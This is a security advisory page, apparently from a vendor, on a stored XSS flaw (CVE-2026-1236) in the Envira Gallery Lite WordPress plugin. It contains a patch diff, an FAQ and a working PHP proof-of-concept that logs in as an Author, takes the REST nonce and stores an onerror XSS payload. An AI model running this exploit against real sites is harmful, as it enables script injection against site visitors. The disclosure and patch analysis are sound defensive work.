Atomic Edge analysis of CVE-2026-1236:
The vulnerability is a stored cross-site scripting (XSS) flaw in the Envira Gallery WordPress plugin. The root cause is insufficient input sanitization and output escaping for the ‘justified_gallery_theme’ parameter when processed through the plugin’s REST API. The plugin’s REST endpoint at /wp-json/envira/v1/gallery/{id} accepts configuration updates without properly sanitizing the ‘justified_gallery_theme’ value before storage. The vulnerable code path begins in includes/global/rest.php at line 188 where the update_gallery() method processes user-supplied config values. The unsanitized value is stored in the gallery configuration and later rendered without proper escaping in includes/global/shortcode.php at line 300, where it is output as a data-gallery-theme attribute. Attackers with Author-level privileges or higher can exploit this by sending a crafted REST API request containing malicious JavaScript in the justified_gallery_theme parameter. The payload executes when any user views a page containing the compromised gallery. The patch addresses this by implementing multiple layers of defense. A new sanitize_justified_gallery_theme() method in includes/global/common.php validates input against a whitelist of allowed theme values. The REST API’s sanitize_config_values() method calls this sanitizer before saving data. The shortcode output layer adds esc_attr() escaping when rendering the theme value. This combination of input validation and output escaping prevents XSS payloads from being stored or executed.

CVE-2026-1236: Envira Gallery for WordPress <= 1.12.3 – Authenticated (Author+) Stored Cross-Site Scripting via 'justified_gallery_theme' Parameter via REST API (envira-gallery-lite)
CVE-2026-1236
envira-gallery-lite
1.12.3
1.12.4
Analysis Overview
Differential between vulnerable and patched code
--- a/envira-gallery-lite/envira-gallery-lite.php
+++ b/envira-gallery-lite/envira-gallery-lite.php
@@ -5,7 +5,7 @@
* Description: Envira Gallery is a fast, easy and powerful gallery builder with lightbox, masonry and grid layouts, albums, videos, and responsive displays and more
* Author: Envira Gallery Team
* Author URI: http://enviragallery.com
- * Version: 1.12.3
+ * Version: 1.12.4
* Requires at least: 5.5
* Requires PHP: 7.0
* Text Domain: envira-gallery-lite
@@ -59,7 +59,7 @@
*
* @var string
*/
- public $version = '1.12.3';
+ public $version = '1.12.4';
/**
--- a/envira-gallery-lite/includes/admin/ajax.php
+++ b/envira-gallery-lite/includes/admin/ajax.php
@@ -939,7 +939,7 @@
}
if ( ! empty( $gallery['config']['title'] ) ) {
- $gallery_title = $gallery['config']['title'];
+ $gallery_title = wp_specialchars_decode( $gallery['config']['title'], ENT_QUOTES );
} else {
$gallery_title = false;
}
@@ -987,7 +987,7 @@
$prepend_results[] = [
'id' => $gallery['id'],
'slug' => $gallery['config']['slug'],
- 'title' => $gallery['config']['title'],
+ 'title' => wp_specialchars_decode( $gallery['config']['title'], ENT_QUOTES ),
'thumbnail' => ( ( isset( $thumbnail ) && is_array( $thumbnail ) ) ? $thumbnail[0] : '' ),
'action' => 'gallery', // Tells the editor modal whether this is a Gallery or Album for the shortcode output.
];
--- a/envira-gallery-lite/includes/admin/common.php
+++ b/envira-gallery-lite/includes/admin/common.php
@@ -124,7 +124,10 @@
public function admin_inline_styles() {
echo '<style>
.envira-sidebar-upgrade-pro {
- background-color: #37993B;
+ background-color: #00ac53;
+ }
+ .envira-sidebar-upgrade-pro:hover {
+ background-color: #1c803d;
}
.envira-sidebar-upgrade-pro a {
color: #fff !important;
@@ -523,7 +526,8 @@
'unlock_url' => esc_url( $this->get_upgrade_link( 'https://enviragallery.com/pricing', 'listgallery', 'unlock' ) ),
'unlock_title' => esc_html__( 'Unlock All Features', 'envira-gallery-lite' ),
'unlock_text' => esc_html__( 'Upgrade to Pro to get access to Albums, Protected Images, Video Galleries, and more!', 'envira-gallery-lite' ),
- 'unlock_btn' => esc_html__( 'Unlock Gallery Features ', 'envira-gallery-lite' ),
+ 'unlock_btn' => esc_html__( 'Upgrade to Pro', 'envira-gallery-lite' ),
+ 'unlock_icon' => plugins_url( 'assets/css/images/envira-green.png', $this->base->file ),
]
);
--- a/envira-gallery-lite/includes/admin/partials/empty-state.php
+++ b/envira-gallery-lite/includes/admin/partials/empty-state.php
@@ -0,0 +1,52 @@
+<?php
+/**
+ * Empty State Template for Envira Gallery List
+ *
+ * @since 1.8.15
+ *
+ * @package Envira_Gallery
+ * @author Envira Gallery Team <support@enviragallery.com>
+ */
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+?>
+
+<div class="envira-empty-state">
+ <div class="envira-empty-state-content">
+ <div class="envira-empty-state-left">
+ <div class="envira-empty-state-left-content">
+ <p class="envira-empty-state-greeting"><?php esc_html_e( '👋 Hello there!', 'envira-gallery-lite' ); ?></p>
+
+ <h2 class="envira-empty-state-title"><?php esc_html_e( "It looks like you haven't created any galleries yet.", 'envira-gallery-lite' ); ?></h2>
+
+ <p class="envira-empty-state-description">
+ <?php esc_html_e( 'You can use Envira Gallery to build beautiful and fast galleries with just a few clicks.', 'envira-gallery-lite' ); ?>
+ </p>
+ </div>
+ <div class="envira-empty-state-actions">
+ <a href="<?php echo esc_url( admin_url( 'post-new.php?post_type=envira' ) ); ?>" class="button button-primary button-hero envira-empty-state-button">
+ <?php esc_html_e( 'Create your Gallery', 'envira-gallery-lite' ); ?>
+ <img src="<?php echo esc_url( plugins_url( 'assets/images/arrow-right.png', ENVIRA_LITE_FILE ) ); ?>" alt="<?php esc_attr_e( 'Arrow Right', 'envira-gallery-lite' ); ?>" class="envira-button-arrow" />
+ </a>
+ </div>
+
+ <p class="envira-empty-state-help">
+ <?php
+ printf(
+ /* translators: %s: Documentation link */
+ esc_html__( 'Need some help? Check out our %s', 'envira-gallery-lite' ),
+ '<a href="https://enviragallery.com/docs/" target="_blank" rel="noopener">' . esc_html__( 'documentation', 'envira-gallery-lite' ) . '</a>.'
+ );
+ ?>
+ </p>
+ </div>
+
+ <div class="envira-empty-state-right">
+ <img src="<?php echo esc_url( plugins_url( 'assets/images/gallery-demo.png', ENVIRA_LITE_FILE ) ); ?>" alt="<?php esc_attr_e( 'Gallery Demo', 'envira-gallery-lite' ); ?>" class="envira-empty-state-image" />
+ </div>
+ </div>
+</div>
+
--- a/envira-gallery-lite/includes/admin/table.php
+++ b/envira-gallery-lite/includes/admin/table.php
@@ -76,6 +76,9 @@
// Append data to various admin columns.
add_filter( 'manage_edit-envira_columns', [ &$this, 'envira_columns' ] );
add_action( 'manage_envira_posts_custom_column', [ &$this, 'envira_custom_columns' ], 10, 2 );
+
+ // Add custom empty state for galleries list.
+ add_action( 'admin_footer', [ $this, 'display_empty_state' ] );
}
/**
@@ -145,7 +148,6 @@
wp_register_script( $this->base->plugin_slug . '-table-script', plugins_url( 'assets/js/min/table-min.js', $this->base->file ), [ 'jquery' ], $this->base->version, true );
wp_enqueue_script( $this->base->plugin_slug . '-table-script' );
-
// Fire a hook to load in custom admin scripts.
do_action( 'envira_gallery_admin_scripts' );
}
@@ -448,6 +450,66 @@
}
/**
+ * Display custom empty state when no galleries are found.
+ *
+ * @since 1.8.15
+ *
+ * @return void
+ */
+ public function display_empty_state() {
+ // Get current screen.
+ $screen = get_current_screen();
+
+ // Bail if we're not on the Envira Post Type screen.
+ if ( 'envira' !== $screen->post_type ) {
+ return;
+ }
+
+ // Bail if we're not on a WP_List_Table.
+ if ( 'edit' !== $screen->base ) {
+ return;
+ }
+
+ // Check if there are any galleries.
+ $galleries = get_posts(
+ [
+ 'post_type' => 'envira',
+ 'post_status' => 'any',
+ 'posts_per_page' => 1,
+ 'fields' => 'ids',
+ 'suppress_filters' => true,
+ ]
+ );
+
+ // If galleries exist, don't show empty state.
+ if ( ! empty( $galleries ) ) {
+ return;
+ }
+
+ // Check if we're on the main galleries list page (not filtered or searched).
+ // phpcs:disable WordPress.Security.NonceVerification.Recommended -- Nonce is not required for display-only checks.
+ $search = isset( $_GET['s'] ) ? sanitize_text_field( wp_unslash( $_GET['s'] ) ) : '';
+ $post_status = isset( $_GET['post_status'] ) ? sanitize_text_field( wp_unslash( $_GET['post_status'] ) ) : '';
+ $month_value = isset( $_GET['m'] ) ? sanitize_text_field( wp_unslash( $_GET['m'] ) ) : '';
+ // phpcs:enable WordPress.Security.NonceVerification.Recommended
+
+ if ( '' !== $search || '' !== $post_status || '' !== $month_value ) {
+ return;
+ }
+
+ // Output empty state in a hidden container, then move it to wpbody-content via JavaScript.
+ // The JavaScript is handled in assets/js/admin.js.
+ ob_start();
+ include ENVIRA_LITE_DIR . 'includes/admin/partials/empty-state.php';
+ $empty_state_content = ob_get_clean();
+
+ printf(
+ '<div id="envira-empty-state-container" style="display: none;">%s</div>',
+ $empty_state_content // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Template partial handles escaping.
+ );
+ }
+
+ /**
* Returns the singleton instance of the class.
*
* @since 1.5.0
--- a/envira-gallery-lite/includes/global/common.php
+++ b/envira-gallery-lite/includes/global/common.php
@@ -165,6 +165,31 @@
}
/**
+ * Sanitizes the justified gallery theme parameter to prevent XSS.
+ *
+ * @since 1.12.4
+ *
+ * @param string $theme The theme value to sanitize.
+ * @return string Sanitized theme value.
+ */
+ public function sanitize_justified_gallery_theme( $theme ) {
+ // Get valid themes
+ $valid_themes = $this->get_justified_gallery_themes();
+ $valid_theme_values = wp_list_pluck( $valid_themes, 'value' );
+
+ // Sanitize the input - remove any HTML tags and trim whitespace
+ $theme = sanitize_text_field( trim( $theme ) );
+
+ // Check if theme is in the list of valid themes
+ if ( in_array( $theme, $valid_theme_values, true ) ) {
+ return $theme;
+ }
+
+ // Default to 'normal' if invalid theme provided
+ return $this->get_config_default( 'justified_gallery_theme' );
+ }
+
+ /**
* Helper method for retrieving display description options.
*
* @since 1.3.7.3
--- a/envira-gallery-lite/includes/global/rest.php
+++ b/envira-gallery-lite/includes/global/rest.php
@@ -188,6 +188,8 @@
$gallery_data['config']['title'] = $post_object->title;
if ( isset( $value['config'] ) ) {
+ // Sanitize config values before saving to prevent XSS
+ $value['config'] = $this->sanitize_config_values( $value['config'] );
$gallery_data['config'] = wp_parse_args( $value['config'], $gallery_data['config'] );
}
@@ -419,6 +421,34 @@
}
/**
+ * Sanitizes config values to prevent XSS attacks.
+ *
+ * @since 1.12.4
+ *
+ * @param array $config The config array to sanitize.
+ * @return array Sanitized config array.
+ */
+ public function sanitize_config_values( $config ) {
+ // Sanitize justified_gallery_theme - ensure it's a valid theme
+ if ( isset( $config['justified_gallery_theme'] ) ) {
+ $config['justified_gallery_theme'] = $this->common->sanitize_justified_gallery_theme(
+ $config['justified_gallery_theme']
+ );
+ }
+
+ // Sanitize justified_row_height - ensure it's a positive integer
+ if ( isset( $config['justified_row_height'] ) ) {
+ $row_height = absint( $config['justified_row_height'] );
+ if ( $row_height <= 0 ) {
+ $row_height = $this->common->get_config_default( 'justified_row_height' );
+ }
+ $config['justified_row_height'] = $row_height;
+ }
+
+ return $config;
+ }
+
+ /**
* Helper Method to find closest size
*
* @param array $data Gallery Data.
--- a/envira-gallery-lite/includes/global/shortcode.php
+++ b/envira-gallery-lite/includes/global/shortcode.php
@@ -297,9 +297,18 @@
} else {
$row_height = $this->get_config( 'justified_row_height', $this->gallery_data );
$justified_gallery_theme = $this->get_config( 'justified_gallery_theme', $this->gallery_data );
+
+ // Sanitize row height - ensure it's a positive integer
+ $row_height = absint( $row_height );
+ if ( $row_height <= 0 ) {
+ $row_height = $this->common->get_config_default( 'justified_row_height' ); // Default to 150
+ }
+
+ // Sanitize justified gallery theme - ensure it's a valid theme
+ $justified_gallery_theme = $this->sanitize_justified_gallery_theme( $justified_gallery_theme );
}
- $gallery .= '<div' . $opacity_insert . ' data-row-height="' . $row_height . '" data-gallery-theme="' . $justified_gallery_theme . '" id="envira-gallery-' . sanitize_html_class( $this->gallery_data['id'] ) . '" class="envira-gallery-public ' . $extra_css . ' envira-gallery-' . sanitize_html_class( $this->get_config( 'columns', $this->gallery_data ) ) . '-columns envira-clear' . ( $this->get_config( 'isotope', $this->gallery_data ) ? ' enviratope' : '' ) . ( $this->get_config( 'css_animations', $this->gallery_data ) ? ' envira-gallery-css-animations' : '' ) . '" data-envira-columns="' . $this->get_config( 'columns', $this->gallery_data ) . '">';
+ $gallery .= '<div' . $opacity_insert . ' data-row-height="' . esc_attr( $row_height ) . '" data-gallery-theme="' . esc_attr( $justified_gallery_theme ) . '" id="envira-gallery-' . sanitize_html_class( $this->gallery_data['id'] ) . '" class="envira-gallery-public ' . $extra_css . ' envira-gallery-' . sanitize_html_class( $this->get_config( 'columns', $this->gallery_data ) ) . '-columns envira-clear' . ( $this->get_config( 'isotope', $this->gallery_data ) ? ' enviratope' : '' ) . ( $this->get_config( 'css_animations', $this->gallery_data ) ? ' envira-gallery-css-animations' : '' ) . '" data-envira-columns="' . esc_attr( $this->get_config( 'columns', $this->gallery_data ) ) . '">';
// Start image loop.
foreach ( $data['gallery'] as $id => $item ) {
@@ -1912,6 +1921,19 @@
}
/**
+ * Sanitizes the justified gallery theme parameter to prevent XSS.
+ *
+ * @since 1.12.4
+ *
+ * @param string $theme The theme value to sanitize.
+ * @return string Sanitized theme value.
+ */
+ public function sanitize_justified_gallery_theme( $theme ) {
+ // Delegate to the common class to ensure consistent sanitization logic across entry points.
+ return $this->common->sanitize_justified_gallery_theme( $theme );
+ }
+
+ /**
* Helper method to minify a string of data.
*
* @since 1.0.4
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1236 - Envira Gallery for WordPress <= 1.12.3 - Authenticated (Author+) Stored Cross-Site Scripting via 'justified_gallery_theme' Parameter via REST API
<?php
$target_url = 'http://target-wordpress-site.com';
$username = 'author_user';
$password = 'author_password';
$gallery_id = 123; // Replace with actual gallery ID
// Step 1: Authenticate and obtain WordPress REST API nonce
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';
// Create a temporary cookie file
$cookie_file = tempnam(sys_get_temp_dir(), 'envira_cve_');
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $admin_url,
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
$login_response = curl_exec($ch);
curl_close($ch);
// Step 2: Extract the REST API nonce from admin page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=' . $gallery_id . '&action=edit');
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$admin_page = curl_exec($ch);
curl_close($ch);
// Look for the REST API nonce in the page
preg_match('/"enviraRestNonce":"([a-f0-9]+)"/', $admin_page, $matches);
if (empty($matches[1])) {
die('Failed to extract REST API nonce');
}
$rest_nonce = $matches[1];
// Step 3: Exploit the vulnerability via REST API
$rest_url = $target_url . '/wp-json/envira/v1/gallery/' . $gallery_id;
// XSS payload in justified_gallery_theme parameter
$payload = '"><img src=x onerror=alert(document.domain)>';
$data = [
'config' => [
'justified_gallery_theme' => $payload,
'justified_row_height' => 150
]
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'X-WP-Nonce: ' . $rest_nonce
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Clean up cookie file
unlink($cookie_file);
if ($http_code === 200) {
echo "Exploit successful! XSS payload injected into gallery ID: " . $gallery_id . "n";
echo "Payload will execute when users view the gallery page.n";
} else {
echo "Exploit failed. HTTP Code: " . $http_code . "n";
echo "Response: " . $response . "n";
}
?>
Frequently Asked Questions
What is CVE-2026-1236?
Overview of the vulnerabilityCVE-2026-1236 is a stored cross-site scripting (XSS) vulnerability in the Envira Gallery plugin for WordPress, affecting versions up to and including 1.12.3. It allows authenticated attackers with Author-level access or higher to inject malicious scripts via the ‘justified_gallery_theme’ parameter.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises from insufficient input sanitization and output escaping in the plugin’s REST API. Attackers can send crafted requests to store malicious JavaScript, which is then executed when users view the affected gallery.
Who is affected by this vulnerability?
Identifying impacted usersAny WordPress site using the Envira Gallery plugin version 1.12.3 or earlier is affected. Specifically, users with Author-level permissions or higher can exploit this vulnerability.
How can I check if my site is vulnerable?
Steps to verify vulnerabilityTo check if your site is vulnerable, verify the version of the Envira Gallery plugin installed. If it is version 1.12.3 or earlier, your site is at risk. Additionally, review your site’s REST API endpoints for potential exploitation.
What is the severity level of this vulnerability?
Understanding risk assessmentThe vulnerability has a medium severity level with a CVSS score of 6.4. This indicates a moderate risk, suggesting that while it may not be critical, it still poses a significant threat to affected sites.
How can I fix this vulnerability?
Steps to remediate the issueTo fix CVE-2026-1236, update the Envira Gallery plugin to version 1.12.4 or later, where the vulnerability has been patched. Regularly check for updates to ensure your plugins are secure.
What if I cannot update the plugin immediately?
Mitigation strategiesIf immediate updates are not possible, consider restricting access to the REST API for non-administrative users or disabling the plugin temporarily until it can be updated.
What does the proof of concept demonstrate?
Understanding the exploitThe proof of concept illustrates how an attacker can authenticate as an Author, send a crafted request to the REST API, and store a malicious script. This script executes when other users view the compromised gallery, demonstrating the practical implications of the vulnerability.
What is stored cross-site scripting (XSS)?
Defining the attack typeStored cross-site scripting (XSS) occurs when an attacker is able to inject malicious scripts into a web application, which are then stored and executed in the context of other users. This type of attack can lead to session hijacking, data theft, and other malicious actions.
What is the 'justified_gallery_theme' parameter?
Specific parameter involvedThe ‘justified_gallery_theme’ parameter is a configuration option within the Envira Gallery plugin that determines the visual theme of a gallery. This parameter is vulnerable due to inadequate sanitization, allowing for script injection.
How does the patch address the vulnerability?
Details of the remediationThe patch for CVE-2026-1236 implements a new sanitization method that validates the ‘justified_gallery_theme’ input against a whitelist of allowed values. It also ensures proper escaping when rendering the theme value in the output.
What should I do if I suspect my site has been exploited?
Response to potential compromiseIf you suspect your site has been exploited, immediately update the Envira Gallery plugin, review your site for unauthorized changes, and consider restoring from a clean backup. Additionally, conduct a security audit to identify any other vulnerabilities.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






